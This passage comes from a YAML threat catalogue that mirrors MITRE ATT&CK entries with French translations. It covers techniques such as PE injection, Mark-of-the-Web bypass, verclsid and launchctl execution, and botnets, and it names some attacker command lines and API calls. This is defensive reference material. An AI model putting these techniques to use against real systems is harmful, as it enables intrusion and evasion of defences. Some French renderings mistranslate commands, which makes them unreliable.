      \ In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and <code>lsof</code>\
      \ can be used to list current connections. <code>who -a</code> and <code>w</code>\
      \ can be used to show which users are currently logged in, similar to \"net\
      \ session\". Additionally, built-in features native to network devices and [Network\
      \ Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used (e.g.\
      \ <code>show ip sockets</code>, <code>show tcp brief</code>).(Citation: US-CERT-TA18-106A)\n\
      https://attack.mitre.org/techniques/T1049"
    translations:
      fr:
        name: "D\xE9couverte des connexions r\xE9seau syst\xE8me"
        description: "Les adversaires peuvent tenter d\u2019obtenir une liste des\
          \ connexions r\xE9seau \xE0 destination ou en provenance du syst\xE8me compromis\
          \ auquel ils acc\xE8dent actuellement ou \xE0 partir de syst\xE8mes distants\
          \ en interrogeant des informations sur le r\xE9seau. \n\nUn adversaire qui\
          \ acc\xE8de \xE0 un syst\xE8me faisant partie d\u2019un environnement bas\xE9\
          \ sur le cloud peut cartographier des clouds priv\xE9s virtuels ou des r\xE9\
          seaux virtuels afin de d\xE9terminer quels syst\xE8mes et services sont\
          \ connect\xE9s. Les actions effectu\xE9es sont probablement les m\xEAmes\
          \ types de techniques de d\xE9couverte selon le syst\xE8me d\u2019exploitation,\
          \ mais les informations r\xE9sultantes peuvent inclure des d\xE9tails sur\
          \ l\u2019environnement cloud en r\xE9seau pertinents pour les objectifs\
          \ de l\u2019adversaire. Les fournisseurs de cloud peuvent avoir diff\xE9\
          rentes fa\xE7ons de g\xE9rer leurs r\xE9seaux virtuels. (R\xE9f\xE9rence\
          \ : Guide Amazon AWS VPC)(Citation : Pr\xE9sentation du r\xE9seau virtuel\
          \ Microsoft Azure)(Citation : Pr\xE9sentation de Google VPC) De m\xEAme,\
          \ les adversaires qui acc\xE8dent aux p\xE9riph\xE9riques r\xE9seau peuvent\
          \ \xE9galement effectuer des activit\xE9s de d\xE9couverte similaires pour\
          \ recueillir des informations sur les syst\xE8mes et services connect\xE9\
          s.\n\nLes utilitaires et les commandes qui acqui\xE8rent ces informations\
          \ incluent [netstat](https://attack.mitre.org/software/S0104), \xAB\_net\
          \ use\_\xBB et \xAB\_net session\_\xBB avec [Net](https://attack.mitre.org/software/S0039).\
          \ Sous Mac et Linux, [netstat](https://attack.mitre.org/software/S0104)\
          \ et <code>lsof</code> peuvent \xEAtre utilis\xE9s pour lister les connexions\
          \ actuelles. <code>WHO -a</code> et <code>w</code> peuvent \xEAtre utilis\xE9\
          s pour indiquer quels utilisateurs sont actuellement connect\xE9s, de la\
          \ m\xEAme mani\xE8re que \xAB\_Net Session\_\xBB. De plus, des fonctionnalit\xE9\
          s int\xE9gr\xE9es natives aux p\xE9riph\xE9riques r\xE9seau et \xE0 l\u2019\
          interface de ligne de commande du p\xE9riph\xE9rique r\xE9seau](https://attack.mitre.org/techniques/T1059/008)\
          \ peuvent \xEAtre utilis\xE9es (par exemple, <code>afficher les sockets\
          \ IP</code>, <code>afficher le brief TCP</code>). (R\xE9f\xE9rence : US-CERT-TA18-106A)\n\
          https://attack.mitre.org/techniques/T1049"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1584
    ref_id: T1584
    name: Compromise Infrastructure
    description: 'Adversaries may compromise third-party infrastructure that can be
      used during targeting. Infrastructure solutions include physical or cloud servers,
      domains, network devices, and third-party web and DNS services. Instead of buying,
      leasing, or renting infrastructure an adversary may compromise infrastructure
      and use it during other phases of the adversary lifecycle.(Citation: Mandiant
      APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation:
      FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous
      machines to form a botnet they can leverage.


      Use of compromised infrastructure allows adversaries to stage, launch, and execute
      operations. Compromised infrastructure can help adversary operations blend in
      with traffic that is seen as normal, such as contact with high reputation or
      trusted sites. For example, adversaries may leverage compromised infrastructure
      (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004))
      to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566)
      campaigns.(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may
      also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090)
      and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking)


      By using compromised infrastructure, adversaries may make it difficult to tie
      their actions back to them. Prior to targeting, adversaries may compromise the
      infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)

      https://attack.mitre.org/techniques/T1584'
    translations:
      fr:
        name: "Compromettre l\u2019infrastructure"
        description: "Les adversaires peuvent compromettre l\u2019infrastructure de\
          \ tiers qui peut \xEAtre utilis\xE9e lors du ciblage. Les solutions d\u2019\
          infrastructure comprennent des serveurs physiques ou cloud, des domaines,\
          \ des p\xE9riph\xE9riques r\xE9seau et des services Web et DNS tiers. Au\
          \ lieu d\u2019acheter, de louer ou de louer une infrastructure, un adversaire\
          \ peut compromettre l\u2019infrastructure et l\u2019utiliser pendant d\u2019\
          autres phases de son cycle de vie. (R\xE9f\xE9rence : Mandiant APT1)(Citation\
          \ : ICANNDomainNameHijacking)(Citation : Talos DNSpionage novembre 2018)(Citation\
          \ : FireEye EPS Awakens Part 2) De plus, les adversaires peuvent compromettre\
          \ de nombreuses machines pour former un botnet qu\u2019ils peuvent exploiter.\n\
          \nL\u2019utilisation d\u2019une infrastructure compromise permet aux adversaires\
          \ de mettre en sc\xE8ne, de lancer et d\u2019ex\xE9cuter des op\xE9rations.\
          \ Une infrastructure compromise peut aider les op\xE9rations de l\u2019\
          adversaire \xE0 se fondre dans le trafic consid\xE9r\xE9 comme normal, comme\
          \ les contacts avec des sites de haute r\xE9putation ou de confiance. Par\
          \ exemple, les adversaires peuvent tirer parti d\u2019une infrastructure\
          \ compromise (potentiellement \xE9galement en conjonction avec des [certificats\
          \ num\xE9riques](https://attack.mitre.org/techniques/T1588/004)) pour s\u2019\
          int\xE9grer davantage et soutenir des campagnes de collecte d\u2019informations\
          \ et/ou de [hame\xE7onnage](https://attack.mitre.org/techniques/T1566).\
          \ (Citation : FireEye DNS Hijack 2019) De plus, les adversaires peuvent\
          \ \xE9galement compromettre l\u2019infrastructure pour prendre en charge\
          \ les services [Proxy](https://attack.mitre.org/techniques/T1090) et/ou\
          \ proxyware. (R\xE9f\xE9rence : amnesty_nso_pegasus)(Citation : Sysdig Proxyjacking)\n\
          \nEn utilisant une infrastructure compromise, les adversaires peuvent rendre\
          \ difficile l\u2019identification de leurs actions. Avant le ciblage, les\
          \ adversaires peuvent compromettre l\u2019infrastructure d\u2019autres adversaires.\
          \ (Citation : NSA NCSC Turla OilRig)\nhttps://attack.mitre.org/techniques/T1584"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1553.005
    ref_id: T1553.005
    name: Mark-of-the-Web Bypass
    description: 'Adversaries may abuse specific file formats to subvert Mark-of-the-Web
      (MOTW) controls. In Windows, when files are downloaded from the Internet, they
      are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.Identifier</code>
      with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier
      2020) Files that are tagged with MOTW are protected and cannot perform certain
      actions. For example, starting in MS Office 10, if a MS Office file has the
      MOTW, it will open in Protected View. Executables tagged with the MOTW will
      be processed by Windows Defender SmartScreen that compares files with an allowlist
      of well-known executables. If the file is not known/trusted, SmartScreen will
      prevent the execution and warn the user not to run it.(Citation: Beek Use of
      VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec
      2020)


      Adversaries may abuse container files such as compressed/archive (.arj, .gzip)
      and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that
      may not be tagged with MOTW. Container files downloaded from the Internet will
      be marked with MOTW but the files within may not inherit the MOTW after the
      container files are extracted and/or mounted. MOTW is a NTFS feature and many
      container files do not support NTFS alternative data streams. After a container
      file is extracted and/or mounted, the files contained within them may be treated
      as local files on disk and run without protections.(Citation: Beek Use of VHD
      Dec 2020)(Citation: Outflank MotW 2020)

      https://attack.mitre.org/techniques/T1553/005'
    translations:
      fr:
        name: Contournement de la marque du Web
        description: "Les adversaires peuvent abuser de formats de fichiers sp\xE9\
          cifiques pour contourner les contr\xF4les de marquage du Web. Sous Windows,\
          \ lorsque des fichiers sont t\xE9l\xE9charg\xE9s \xE0 partir d\u2019Internet,\
          \ ils sont marqu\xE9s avec un flux de donn\xE9es alternatif NTFS (ADS) cach\xE9\
          \ nomm\xE9 <code>Zone.Identifier</code> avec une valeur sp\xE9cifique connue\
          \ sous le nom de MOTW. (Citation : Microsoft Zone.Identifier 2020) Les fichiers\
          \ balis\xE9s avec MOTW sont prot\xE9g\xE9s et ne peuvent pas effectuer certaines\
          \ actions. Par exemple, \xE0 partir de MS Office 10, si un fichier MS Office\
          \ a le MOTW, il s\u2019ouvrira en mode prot\xE9g\xE9. Les ex\xE9cutables\
          \ \xE9tiquet\xE9s avec le MOTW seront trait\xE9s par Windows Defender SmartScreen\
          \ qui compare les fichiers avec une liste d\u2019autorisation d\u2019ex\xE9\
          cutables bien connus. Si le fichier n\u2019est pas connu/approuv\xE9, SmartScreen\
          \ emp\xEAchera l\u2019ex\xE9cution et avertira l\u2019utilisateur de ne\
          \ pas l\u2019ex\xE9cuter. (Citation : Utilisation de VHD par Beek d\xE9\
          cembre 2020)(Citation : Outflank MotW 2020)(Citation : Intezer Russian APT\
          \ d\xE9cembre 2020)\n\nLes adversaires peuvent abuser des fichiers de conteneur\
          \ tels que des formats de fichiers compress\xE9s/d\u2019archive (.arj, .gzip)\
          \ et/ou d\u2019image disque (.iso, .vhd) pour fournir des charges utiles\
          \ malveillantes qui peuvent ne pas \xEAtre \xE9tiquet\xE9es avec MOTW. Les\
          \ fichiers conteneur t\xE9l\xE9charg\xE9s \xE0 partir d\u2019Internet seront\
          \ marqu\xE9s avec MOTW, mais les fichiers qu\u2019ils contiennent ne peuvent\
          \ pas h\xE9riter du MOTW une fois qu\u2019ils ont \xE9t\xE9 extraits et/ou\
          \ mont\xE9s. MOTW est une fonctionnalit\xE9 NTFS et de nombreux fichiers\
          \ de conteneur ne prennent pas en charge les flux de donn\xE9es alternatifs\
          \ NTFS. Une fois qu\u2019un fichier conteneur est extrait et/ou mont\xE9\
          , les fichiers qu\u2019il contient peuvent \xEAtre trait\xE9s comme des\
          \ fichiers locaux sur le disque et s\u2019ex\xE9cuter sans protection. (Citation\
          \ : Utilisation de VHD par Beek d\xE9cembre 2020)(Citation : Outflank MotW\
          \ 2020)\nhttps://attack.mitre.org/techniques/T1553/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1600.002
    ref_id: T1600.002
    name: Disable Crypto Hardware
    description: "Adversaries disable a network device\u2019s dedicated hardware encryption,\
      \ which may enable them to leverage weaknesses in software encryption in order\
      \ to reduce the effort involved in collecting, manipulating, and exfiltrating\
      \ transmitted data.\n\nMany network devices such as routers, switches, and firewalls,\
      \ perform encryption on network traffic to secure transmission across networks.\
      \ Often, these devices are equipped with special, dedicated encryption hardware\
      \ to greatly increase the speed of the encryption process as well as to prevent\
      \ malicious tampering. When an adversary takes control of such a device, they\
      \ may disable the dedicated hardware, for example, through use of [Modify System\
      \ Image](https://attack.mitre.org/techniques/T1601), forcing the use of software\
      \ to perform encryption on general processors. This is typically used in conjunction\
      \ with attacks to weaken the strength of the cipher in software (e.g., [Reduce\
      \ Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco\
      \ Blog Legacy Device Attacks)\nhttps://attack.mitre.org/techniques/T1600/002"
    translations:
      fr:
        name: "D\xE9sactiver le mat\xE9riel cryptographique"
        description: "Les adversaires d\xE9sactivent le chiffrement mat\xE9riel d\xE9\
          di\xE9 d\u2019un p\xE9riph\xE9rique r\xE9seau, ce qui peut leur permettre\
          \ d\u2019exploiter les faiblesses du chiffrement logiciel afin de r\xE9\
          duire les efforts n\xE9cessaires \xE0 la collecte, \xE0 la manipulation\
          \ et \xE0 l\u2019exfiltration des donn\xE9es transmises.\n\nDe nombreux\
          \ p\xE9riph\xE9riques r\xE9seau, tels que les routeurs, les commutateurs\
          \ et les pare-feu, effectuent le chiffrement du trafic r\xE9seau pour s\xE9\
          curiser la transmission sur les r\xE9seaux. Souvent, ces appareils sont\
          \ \xE9quip\xE9s d\u2019un mat\xE9riel de cryptage sp\xE9cial et d\xE9di\xE9\
          \ pour augmenter consid\xE9rablement la vitesse du processus de cryptage\
          \ et pour emp\xEAcher toute alt\xE9ration malveillante. Lorsqu\u2019un adversaire\
          \ prend le contr\xF4le d\u2019un tel appareil, il peut d\xE9sactiver le\
          \ mat\xE9riel d\xE9di\xE9, par exemple en utilisant [Modifier l\u2019image\
          \ syst\xE8me](https://attack.mitre.org/techniques/T1601), for\xE7ant l\u2019\
          utilisation d\u2019un logiciel pour effectuer le chiffrement sur les processeurs\
          \ g\xE9n\xE9raux. Ceci est g\xE9n\xE9ralement utilis\xE9 en conjonction\
          \ avec des attaques visant \xE0 affaiblir la force du chiffrement dans le\
          \ logiciel (par exemple, [R\xE9duire l\u2019espace cl\xE9](https://attack.mitre.org/techniques/T1600/001)).\
          \ (Citation : Blog Cisco Legacy Device Attacks)\nhttps://attack.mitre.org/techniques/T1600/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1542
    ref_id: T1542
    name: Pre-OS Boot
    description: 'Adversaries may abuse Pre-OS Boot mechanisms as a way to establish
      persistence on a system. During the booting process of a computer, firmware
      and various startup services are loaded before the operating system. These programs
      control flow of execution before the operating system takes control.(Citation:
      Wikipedia Booting)


      Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic
      Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to
      persist on systems at a layer below the operating system. This can be particularly
      difficult to detect as malware at this level will not be detected by host software-based
      defenses.

      https://attack.mitre.org/techniques/T1542'
    translations:
      fr:
        name: "Pr\xE9-d\xE9marrage du syst\xE8me d\u2019exploitation"
        description: "Les adversaires peuvent abuser des m\xE9canismes de pr\xE9-d\xE9\
          marrage du syst\xE8me d\u2019exploitation pour \xE9tablir la persistance\
          \ d\u2019un syst\xE8me. Au cours du processus de d\xE9marrage d\u2019un\
          \ ordinateur, le micrologiciel et divers services de d\xE9marrage sont charg\xE9\
          s avant le syst\xE8me d\u2019exploitation. Ces programmes contr\xF4lent\
          \ le flux d\u2019ex\xE9cution avant que le syst\xE8me d\u2019exploitation\
          \ ne prenne le contr\xF4le. (citation : Wikip\xE9dia Booting)\n\nLes adversaires\
          \ peuvent \xE9craser les donn\xE9es des pilotes de d\xE9marrage ou des microprogrammes\
          \ tels que le BIOS (Basic Input/Output System) et l\u2019interface UEFI\
          \ (Unified Extensible Firmware Interface) pour persister sur les syst\xE8\
          mes situ\xE9s \xE0 une couche inf\xE9rieure au syst\xE8me d\u2019exploitation.\
          \ Cela peut \xEAtre particuli\xE8rement difficile \xE0 d\xE9tecter, car\
          \ les logiciels malveillants de ce niveau ne seront pas d\xE9tect\xE9s par\
          \ les d\xE9fenses logicielles de l\u2019h\xF4te.\nhttps://attack.mitre.org/techniques/T1542"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1612
    ref_id: T1612
    name: Build Image on Host
    description: "Adversaries may build a container image directly on a host to bypass\
      \ defenses that monitor for the retrieval of malicious images from a public\
      \ registry. A remote <code>build</code> request may be sent to the Docker API\
      \ that includes a Dockerfile that pulls a vanilla base image, such as alpine,\
      \ from a public or local registry and then builds a custom image upon it.(Citation:\
      \ Docker Build Image)\n\nAn adversary may take advantage of that <code>build</code>\
      \ API to build a custom image on the host that includes malware downloaded from\
      \ their C2 server, and then they may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610)\
      \ using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua\
      \ Security Cloud Native Threat Report June 2021) If the base image is pulled\
      \ from a public registry, defenses will likely not detect the image as malicious\
      \ since it\u2019s a vanilla image. If the base image already resides in a local\
      \ registry, the pull may be considered even less suspicious since the image\
      \ is already in the environment.\nhttps://attack.mitre.org/techniques/T1612"
    translations:
      fr:
        name: "Construire une image sur l\u2019h\xF4te"
        description: "Les adversaires peuvent cr\xE9er une image de conteneur directement\
          \ sur un h\xF4te pour contourner les d\xE9fenses qui surveillent la r\xE9\
          cup\xE9ration d\u2019images malveillantes \xE0 partir d\u2019un registre\
          \ public. Une demande de <code>build</code> distante peut \xEAtre envoy\xE9\
          e \xE0 l\u2019API Docker qui inclut un fichier Dockerfile qui extrait une\
          \ image de base standard, telle que alpine, \xE0 partir d\u2019un registre\
          \ public ou local, puis cr\xE9e une image personnalis\xE9e \xE0 partir de\
          \ celle-ci. (citation : image de build docker)\n\nUn adversaire peut tirer\
          \ parti de cette API de <code>build</code> pour cr\xE9er une image personnalis\xE9\
          e sur l\u2019h\xF4te qui inclut des programmes malveillants t\xE9l\xE9charg\xE9\
          s \xE0 partir de son serveur C2, puis il peut utiliser [Deploy Container](https://attack.mitre.org/techniques/T1610)\
          \ \xE0 l\u2019aide de cette image personnalis\xE9e. (Citation\_: Images\
          \ Aqua Build sur les h\xF4tes)(Citation : Aqua Security Cloud Native Threat\
          \ Report juin 2021) Si l\u2019image de base est extraite d\u2019un registre\
          \ public, les d\xE9fenses ne d\xE9tecteront probablement pas l\u2019image\
          \ comme malveillante puisqu\u2019il s\u2019agit d\u2019une image standard.\
          \ Si l\u2019image de base r\xE9side d\xE9j\xE0 dans un registre local, l\u2019\
          extraction peut \xEAtre consid\xE9r\xE9e comme encore moins suspecte puisque\
          \ l\u2019image est d\xE9j\xE0 dans l\u2019environnement.\nhttps://attack.mitre.org/techniques/T1612"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1055.002
    ref_id: T1055.002
    name: Portable Executable Injection
    description: "Adversaries may inject portable executables (PE) into processes\
      \ in order to evade process-based defenses as well as possibly elevate privileges.\
      \ PE injection is a method of executing arbitrary code in the address space\
      \ of a separate live process. \n\nPE injection is commonly performed by copying\
      \ code (perhaps without a file on disk) into the virtual address space of the\
      \ target process before invoking it via a new thread. The write can be performed\
      \ with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>,\
      \ then invoked with <code>CreateRemoteThread</code> or additional code (ex:\
      \ shellcode). The displacement of the injected code does introduce the additional\
      \ requirement for functionality to remap memory references. (Citation: Elastic\
      \ Process Injection July 2017) \n\nRunning code in the context of another process\
      \ may allow access to the process's memory, system/network resources, and possibly\
      \ elevated privileges. Execution via PE injection may also evade detection from\
      \ security products since the execution is masked under a legitimate process.\n\
      https://attack.mitre.org/techniques/T1055/002"
    translations:
      fr:
        name: "Injection ex\xE9cutable portable"
        description: "Les adversaires peuvent injecter des ex\xE9cutables portables\
          \ (PE) dans les processus afin d\u2019\xE9chapper aux d\xE9fenses bas\xE9\
          es sur les processus et \xE9ventuellement d\u2019\xE9lever les privil\xE8\
          ges. L\u2019injection PE est une m\xE9thode d\u2019ex\xE9cution de code\
          \ arbitraire dans l\u2019espace d\u2019adressage d\u2019un processus en\
          \ direct distinct. \n\nL\u2019injection PE est g\xE9n\xE9ralement effectu\xE9\
          e en copiant le code (peut-\xEAtre sans fichier sur le disque) dans l\u2019\
          espace d\u2019adressage virtuel du processus cible avant de l\u2019invoquer\
          \ via un nouveau thread. L\u2019\xE9criture peut \xEAtre effectu\xE9e avec\
          \ des appels d\u2019API Windows natifs tels que <code>VirtualAllocEx</code>\
          \ et <code>WriteProcessMemory</code>, puis appel\xE9e avec <code>CreateRemoteThread</code>\
          \ ou du code suppl\xE9mentaire (ex : shellcode). Le d\xE9placement du code\
          \ inject\xE9 introduit l\u2019exigence suppl\xE9mentaire de fonctionnalit\xE9\
          \ pour remapper les r\xE9f\xE9rences de m\xE9moire. (Citation : Injection\
          \ de processus \xE9lastique juillet 2017) \n\nL\u2019ex\xE9cution de code\
          \ dans le contexte d\u2019un autre processus peut permettre d\u2019acc\xE9\
          der \xE0 la m\xE9moire du processus, aux ressources syst\xE8me/r\xE9seau\
          \ et \xE9ventuellement \xE0 des privil\xE8ges \xE9lev\xE9s. L\u2019ex\xE9\
          cution par injection PE peut \xE9galement \xE9chapper \xE0 la d\xE9tection\
          \ des produits de s\xE9curit\xE9, car l\u2019ex\xE9cution est masqu\xE9\
          e par un processus l\xE9gitime.\nhttps://attack.mitre.org/techniques/T1055/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1218.012
    ref_id: T1218.012
    name: Verclsid
    description: 'Adversaries may abuse verclsid.exe to proxy execution of malicious
      code. Verclsid.exe is known as the Extension CLSID Verification Host and is
      responsible for verifying each shell extension before they are used by Windows
      Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)


      Adversaries may abuse verclsid.exe to execute malicious payloads. This may be
      achieved by running <code>verclsid.exe /S /C {CLSID}</code>, where the file
      is referenced by a Class ID (CLSID), a unique identification number used to
      identify COM objects. COM payloads executed by verclsid.exe may be able to perform
      various malicious actions, such as loading and executing COM scriptlets (SCT)
      from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)).
      Since the binary may be signed and/or native on Windows systems, proxying execution
      via verclsid.exe may bypass application control solutions that do not account
      for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation:
      BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub)

      https://attack.mitre.org/techniques/T1218/012'
    translations:
      fr:
        name: Verclsid
        description: "Les adversaires peuvent abuser de l\u2019ex\xE9cution verclsid.exe\
          \ proxy de code malveillant. Verclsid.exe est connu sous le nom d\u2019\
          h\xF4te de v\xE9rification CLSID d\u2019extension et est charg\xE9 de v\xE9\
          rifier chaque extension de shell avant qu\u2019elle ne soit utilis\xE9e\
          \ par l\u2019Explorateur Windows ou l\u2019environnement de ligne de commande\
          \ Windows Shell. (Citation : WinOSBite verclsid.exe)\n\nLes adversaires\
          \ peuvent abuser de verclsid.exe pour ex\xE9cuter des charges utiles malveillantes.\
          \ Pour ce faire, ex\xE9cutez <code>verclsid.exe /S /C {CLSID}</code>, o\xF9\
          \ le fichier est r\xE9f\xE9renc\xE9 par un ID de classe (CLSID), un num\xE9\
          ro d\u2019identification unique utilis\xE9 pour identifier les objets COM.\
          \ Les charges utiles COM ex\xE9cut\xE9es par verclsid.exe peuvent \xEAtre\
          \ en mesure d\u2019effectuer diverses actions malveillantes, telles que\
          \ le chargement et l\u2019ex\xE9cution de scriptlets COM (SCT) \xE0 partir\
          \ de serveurs distants (similaire \xE0 [Regsvr32](https://attack.mitre.org/techniques/T1218/010)).\
          \ \xC9tant donn\xE9 que le binaire peut \xEAtre sign\xE9 et/ou natif sur\
          \ les syst\xE8mes Windows, l\u2019ex\xE9cution par proxy via verclsid.exe\
          \ peut contourner les solutions de contr\xF4le d\u2019application qui ne\
          \ tiennent pas compte de son abus potentiel. (Citation : LOLBAS Verclsid)(R\xE9\
          f\xE9rence : Red Canary Verclsid.exe)(citation : BOHOPS abuse du registre\
          \ COM)(Citation : Nick Tyrer GitHub)\nhttps://attack.mitre.org/techniques/T1218/012"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1586
    ref_id: T1586
    name: Compromise Accounts
    description: "Adversaries may compromise accounts with services that can be used\
      \ during targeting. For operations incorporating social engineering, the utilization\
      \ of an online persona may be important. Rather than creating and cultivating\
      \ accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)),\
      \ adversaries may compromise existing accounts. Utilizing an existing persona\
      \ may engender a level of trust in a potential victim if they have a relationship,\
      \ or knowledge of, the compromised persona. \n\nA variety of methods exist for\
      \ compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598),\
      \ purchasing credentials from third-party sites, brute forcing credentials (ex:\
      \ password reuse from breach credential dumps), or paying employees, suppliers\
      \ or business partners for access to credentials.(Citation: AnonHBGary)(Citation:\
      \ Microsoft DEV-0537) Prior to compromising accounts, adversaries may conduct\
      \ Reconnaissance to inform decisions about which accounts to compromise to further\
      \ their operation.\n\nPersonas may exist on a single site or across multiple\
      \ sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts\
      \ may require additional development, this could include filling out or modifying\
      \ profile information, further developing social networks, or incorporating\
      \ photos.\n\nAdversaries may directly leverage compromised email accounts for\
      \ [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).\n\
      https://attack.mitre.org/techniques/T1586"
    translations:
      fr:
        name: Comptes compromis
        description: "Les adversaires peuvent compromettre des comptes avec des services\
          \ qui peuvent \xEAtre utilis\xE9s lors du ciblage. Pour les op\xE9rations\
          \ int\xE9grant l\u2019ing\xE9nierie sociale, l\u2019utilisation d\u2019\
          un persona en ligne peut \xEAtre importante. Plut\xF4t que de cr\xE9er et\
          \ de cultiver des comptes (c\u2019est-\xE0-dire [\xC9tablir des comptes](https://attack.mitre.org/techniques/T1585)),\
          \ les adversaires peuvent compromettre les comptes existants. L\u2019utilisation\
          \ d\u2019un personnage existant peut engendrer un certain niveau de confiance\
          \ chez une victime potentielle si elle a une relation ou une connaissance\
          \ du personnage compromis. \n\nIl existe diverses m\xE9thodes pour compromettre\
          \ les comptes, telles que la collecte d\u2019identifiants via [Phishing\
          \ for Information](https://attack.mitre.org/techniques/T1598), l\u2019achat\
          \ d\u2019identifiants sur des sites tiers, le filtrage par force brute d\u2019\
          identifiants (par exemple, la r\xE9utilisation de mots de passe \xE0 partir\
          \ de vidages d\u2019identifiants de violation) ou le paiement d\u2019employ\xE9\
          s, de fournisseurs ou de partenaires commerciaux pour l\u2019acc\xE8s aux\
          \ identifiants. (Citation : AnonHBGary)(R\xE9f\xE9rence : Microsoft DEV-0537)\
          \ Avant de compromettre des comptes, les adversaires peuvent effectuer une\
          \ reconnaissance pour \xE9clairer les d\xE9cisions sur les comptes \xE0\
          \ compromettre afin de poursuivre leurs op\xE9rations.\n\nLes personas peuvent\
          \ exister sur un seul site ou sur plusieurs sites (ex : Facebook, LinkedIn,\
          \ Twitter, Google, etc.). Les comptes compromis peuvent n\xE9cessiter un\
          \ d\xE9veloppement suppl\xE9mentaire, notamment le remplissage ou la modification\
          \ des informations de profil, le d\xE9veloppement des r\xE9seaux sociaux\
          \ ou l\u2019int\xE9gration de photos.\n\nLes adversaires peuvent exploiter\
          \ directement des comptes de messagerie compromis pour [Phishing for Information](https://attack.mitre.org/techniques/T1598)\
          \ ou [Phishing](https://attack.mitre.org/techniques/T1566).\nhttps://attack.mitre.org/techniques/T1586"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1569.001
    ref_id: T1569.001
    name: Launchctl
    description: 'Adversaries may abuse launchctl to execute commands or programs.
      Launchctl interfaces with launchd, the service management framework for macOS.
      Launchctl supports taking subcommands on the command-line, interactively, or
      even redirected from standard input.(Citation: Launchctl Man)


      Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s
      or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands
      include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl
      start</code>. Adversaries can use scripts or manually run the commands <code>launchctl
      load -w "%s/Library/LaunchAgents/%s"</code> or <code>/bin/launchctl load</code>
      to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or
      [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy
      Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)

      https://attack.mitre.org/techniques/T1569/001'
    translations:
      fr:
        name: Lancement ctl
        description: "Les adversaires peuvent abuser de launchctl pour ex\xE9cuter\
          \ des commandes ou des programmes. Launchctl s\u2019interface avec launchd,\
          \ le cadre de gestion des services pour macOS. Launchctl prend en charge\
          \ la prise de sous-commandes sur la ligne de commande, de mani\xE8re interactive\
          \ ou m\xEAme redirig\xE9e \xE0 partir d\u2019une entr\xE9e standard. (Citation\
          \ : Launchctl Man)\n\nLes adversaires utilisent launchctl pour ex\xE9cuter\
          \ des commandes et des programmes en tant que [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s\
          \ ou [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Les\
          \ sous-commandes courantes sont les suivantes : <code>launchctl load</code>,\
          \ <code>launchctl unload</code> et <code>launchctl start</code>. Les adversaires\
          \ peuvent utiliser des scripts ou ex\xE9cuter manuellement les commandes\
          \ <code>launchctl load -w \xAB\_%s/Library/LaunchAgents/\_%s\_\xBB</code>\
          \ ou <code>/bin/launchctl load</code> pour ex\xE9cuter [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s\
          \ ou [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation\
          \ : Sofacy Komplex Trojan)(R\xE9f\xE9rence : 20 Outils et techniques courants\
          \ macOS)\nhttps://attack.mitre.org/techniques/T1569/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1584.005
    ref_id: T1584.005
    name: Botnet
    description: "Adversaries may compromise numerous third-party systems to form\
      \ a botnet\_that can be used during targeting. A botnet is a network of compromised\
      \ systems that can be instructed to perform coordinated tasks.(Citation: Norton\
      \ Botnet) Instead of purchasing/renting a botnet from a booter/stresser service,\
      \ adversaries may build their own botnet by compromising numerous third-party\
      \ systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover\
      \ of an existing botnet, such as redirecting bots to adversary-controlled C2\
      \ servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal,\
      \ adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566)\
      \ or Distributed Denial of Service (DDoS).\nhttps://attack.mitre.org/techniques/T1584/005"
    translations:
      fr:
        name: Botnet
        description: "Les adversaires peuvent compromettre de nombreux syst\xE8mes\
